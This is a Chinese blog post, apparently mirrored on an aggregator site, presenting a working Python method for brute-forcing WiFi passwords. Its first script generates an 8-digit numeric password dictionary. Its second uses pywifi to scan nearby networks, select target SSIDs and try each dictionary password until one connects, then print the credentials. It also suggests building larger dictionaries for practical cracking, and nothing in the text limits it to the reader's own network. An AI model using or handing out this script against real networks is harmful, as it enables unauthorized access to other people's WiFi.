Python破解Wifi密碼思路

来源:https://www.cnblogs.com/Vrapile/archive/2019/03/01/10454283.html
-Advertisement-
Play Games

一、前言說明 本機運行環境:系統環境Win10,運行環境Python3.6,運行工具Pycharm 需要Python的包有:pywifi 這是一種暴力破解wifi的模式,需要的時間比較長,本文主要提供一個破解思路 二、思路介紹 先生成一個密碼字典(此步驟也可以從網上下載字典) 迴圈用密碼字典的每個密 ...


一、前言說明

  本機運行環境:系統環境Win10,運行環境Python3.6,運行工具Pycharm

  需要Python的包有:pywifi

  這是一種暴力破解wifi的模式,需要的時間比較長,本文主要提供一個破解思路

 

二、思路介紹

  先生成一個密碼字典(此步驟也可以從網上下載字典)

  迴圈用密碼字典的每個密碼去嘗試連接Wifi,直到成功

 

三、源碼設計

  1. 密碼字典TXT文件生成,本文提供的比較簡單,實用破解可以根據一般密碼設置,去生成比較大比較全的密碼字典

  一般設置密碼規則,可以參照這個博客寫的內容:https://www.cnblogs.com/lifengfneg/p/5992649.html

  以下提供簡單8位純數字的字典生成方案代碼GetWifiPsdDic.py  

 1 import itertools as its
 2 
 3 
 4 if __name__ == '__main__':
 5     words_num = "1234567890"
 6     words_letter = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
 7     r = its.product(words_num, repeat=8)
 8     dic = open("password-8位數字.txt", "w")
 9     for i in r:
10         dic.write("".join(i))
11         dic.write("".join("\n"))
12     dic.close()

    2. 暴力破解密碼,用時較長GetWifiPsd.py

 1 import pywifi
 2 
 3 from pywifi import const  # 引用一些定義
 4 
 5 import time
 6 
 7 
 8 def getwifi(wifilist, wificount):
 9     wifi = pywifi.PyWiFi()  # 抓取網卡介面
10     ifaces = wifi.interfaces()[0]  # 獲取網卡
11     ifaces.scan()
12     time.sleep(8)
13     bessis = ifaces.scan_results()
14     allwifilist = []
15     namelist = []
16     ssidlist = []
17     for data in bessis:
18         if data.ssid not in namelist:  # 去掉重覆的WIFI名稱
19             namelist.append(data.ssid)
20             allwifilist.append((data.ssid, data.signal))
21     sorted(allwifilist, key=lambda st: st[1], reverse=True)
22     time.sleep(1)
23     n = 0
24     if len(allwifilist) is not 0:
25         for item in allwifilist:
26             if (item[0] not in ssidlist) & (item[0] not in wifilist):
27                 n = n + 1
28                 if n <= wificount:
29                     ssidlist.append(item[0])
30     print(allwifilist)
31     return ssidlist
32 
33 
34 def getifaces():
35     wifi = pywifi.PyWiFi()  # 抓取網卡介面
36     ifaces = wifi.interfaces()[0]  # 獲取網卡
37     ifaces.disconnect()  # 斷開無限網卡連接
38     return ifaces
39 
40 
41 def testwifi(ifaces, ssidname, password):
42     profile = pywifi.Profile()  # 創建wifi連接文件
43     profile.ssid = ssidname  # 定義wifissid
44     profile.auth = const.AUTH_ALG_OPEN  # 網卡的開放
45     profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密演算法
46     profile.cipher = const.CIPHER_TYPE_CCMP  # 加密單元
47     profile.key = password  # wifi密碼
48     ifaces.remove_all_network_profiles()  # 刪除其他所有配置文件
49     tmp_profile = ifaces.add_network_profile(profile)  # 載入配置文件
50     ifaces.connect(tmp_profile)  # 連接wifi
51     time.sleep(5)  # 5秒內能否連接上
52     if ifaces.status() == const.IFACE_CONNECTED:
53         return True
54     else:
55         return False
56 
57 
58 def beginwork(wifinamelist):
59     ifaces = getifaces()
60     path = r"password-8位數字.txt"
61     # path = r"password-常用密碼.txt"
62     files = open(path, 'r')
63     while True:
64         try:
65             password = files.readline()
66             password = password.strip('\n')
67             if not password:
68                 break
69             for wifiname in wifinamelist:
70                 print("正在嘗試:" + wifiname + "," + password)
71                 if testwifi(ifaces, wifiname, password):
72                     print("Wifi賬號:" + wifiname + ",Wifi密碼:" + password)
73                     wifinamelist.remove(wifiname)
74                     break
75             if not wifinamelist:
76                 break
77         except:
78             continue
79     files.close()
80 
81 
82 if __name__ == '__main__':
83     wifinames_e = ["", "Vrapile"]  # 排除不破解的wifi名字
84     wifinames = getwifi(wifinames_e, 5)
85     print(wifinames)
86     beginwork(wifinames)

 

四、最後小結

  上文生成字典有很多冗餘密碼成分,會大大加長破解時間,實用時可以更改密碼生成方式


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 分散式系統是由一組通過網路進行通信、為了完成共同的任務而協調工作的電腦節點組成的系統。分散式系統的出現是為了用廉價的、普通的機器完成單個電腦無法完成的計算、存儲任務。其目的是利用更多的機器,處理更多的數據。 一、第一階段 最初假設的網站中,我們把應用系統網站、文件和資料庫都放在一臺伺服器上,一臺 ...
  • 前言:通過設計器交互來創建流程圖是比較常見的方式,這種方式是比較方便業務人員對流程的操作。然而,在需要流程模板,或者技術開發階段以及一些自動化流程的處理過程中,使用代碼快速創建流程圖也是一種非常有必要的快捷途徑。本文重點說明這種方法的實現過程和具體使用價值。 1. 互動式構建流程圖 圖形互動式一般是 ...
  • LieBrother原文 : "行為型模式:迭代器模式" 十一大行為型模式之六:迭代器模式。 簡介 姓名 :迭代器模式 英文名 :Iterator Pattern 價值觀 :人生沒有回頭路 個人介紹 : Provide a way to access the elements of an aggre ...
  • 定義:用原型實例指定創建對象的種類,並且通過拷貝這些原型創建新的對象 原型模式其實就是通過一個對象來創建一個新的可定製(可以是源對象的一個副本也可以有所改變)的對象,而且我們並不需要知道具體創建的細節。在java中使用原型模式是非常簡單的,因為Object類中提供了一個本地方法clone,就是用來拷 ...
  • PHP語言在Linux系統上運行的時候,需要在Linux系統上部署相應的Nginx、MySQL、PHP等環境,只有將這些環境參數都設置好,PHP相關應用程式才可正常運行,部署環境的方法有很多種,可手動模式下一個個軟體環境進行安裝,也可使用工具進行快速部署,此文以阿裡雲的Centos系統為例,介紹在C ...
  • 這一篇博客,還是接著說那些常見的反爬蟲措施以及我們的解決辦法。同樣的,如果對你有幫助的話,麻煩點一下推薦啦。 一、防盜鏈 這次我遇到的防盜鏈,除了前面說的Referer防盜鏈,還有Cookie防盜鏈和時間戳防盜鏈。Cookie防盜鏈常見於論壇、社區。當訪客請求一個資源的時候,他會檢查這個訪客的Coo ...
  • FPM(FastCGI Process Manager)是PHP FastCGI運行模式的一個進程管理器,從它的定義可以看出,FPM的核心功能是進程管理,那麼它用來管理什麼進程呢?這個問題就需要從FastCGI說起了。 FastCGI是Web伺服器(如:Nginx、Apache)和處理程式之間的一種 ...
  • 裝飾者模式 想看本系列前作的朋友可以點擊下麵鏈接哦。 一起去開心的購物吧——淺談觀察者模式 記一場精彩的籃球比賽——淺談策略模式 大家好,又跟大家見面啦,今天呢,我與大家分享一個新的Java設計模式——裝飾者模式。 首先,不能免俗的我們來看一下官方給的定義: 裝飾者模式動態地將責任附加到對象上。若要 ...
一周排行
    -Advertisement-
    Play Games
  • 移動開發(一):使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說,近來想嘗試開發一款安卓APP,考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP,畢竟是使用Visual Studio開發工具,使用起來也比較的順手,結合微軟官方的教程進行了安卓 ...
  • 前言 QuestPDF 是一個開源 .NET 庫,用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫,它徹底改變了我們生成 PDF 文檔的方 ...
  • 項目地址 項目後端地址: https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址: ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址: http://tree ...
  • 話不多說,直接開乾 一.下載 1.官方鏈接下載: https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe,運行開始下載SQL server; 二. ...
  • 前言 隨著物聯網(IoT)技術的迅猛發展,MQTT(消息隊列遙測傳輸)協議憑藉其輕量級和高效性,已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫,為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog支持多種接收器用於日誌存儲,增強器用於添加屬性,LogContext管理動態屬性,支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項,適用於不同需求。 ...
  • 目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據,爬取信息時需要模擬瀏覽器行為,否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下: 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • 1.前言 什麼是熱更新 游戲或者軟體更新時,無需重新下載客戶端進行安裝,而是在應用程式啟動的情況下,在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR,Xlua,ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles,Addressable, ...
  • 本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺,其實像阿裡雲,騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後,它會送 ...
  • 通過以下方式可以高效,並保證數據同步的可靠性 1.API設計 使用RESTful設計,確保API端點明確,並使用適當的HTTP方法(如POST用於創建,PUT用於更新)。 設計清晰的請求和響應模型,以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證,確保接收到的數據符合預期格 ...